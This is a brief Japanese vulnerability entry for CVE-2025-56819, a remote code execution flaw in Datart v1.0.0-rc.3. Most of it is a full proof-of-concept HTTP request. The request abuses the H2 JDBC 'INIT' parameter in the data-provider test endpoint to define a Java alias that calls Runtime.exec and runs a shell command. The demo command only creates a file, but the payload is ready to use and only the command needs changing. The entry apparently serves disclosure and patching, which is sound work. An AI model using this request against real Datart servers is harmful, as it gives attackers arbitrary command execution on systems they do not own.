CVE-2025-56819

Datart v.1.0.0-rc.3 に問題があり、リモート攻撃者が INIT 接続パラメータを介して任意のコードを実行できます。

 POST /api/v1/data-provider/test HTTP/1.1
 Host: test.com:8080
 Content-Type: application/json
 Content-Length: 520

 {
   "name": "jdbc-data-provider",
   "type": "JDBC",
   "properties": {
     "dbType": "H2",
     "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/test1')\\;",
     "user": null,
     "password": "",
     "driverClass": "org.h2.Driver",
     "serverAggregate": false,
     "enableSpecialSQL": false,
     "enableSyncSchemas": true,
     "syncInterval": "60",
     "properties": {}
   }
 }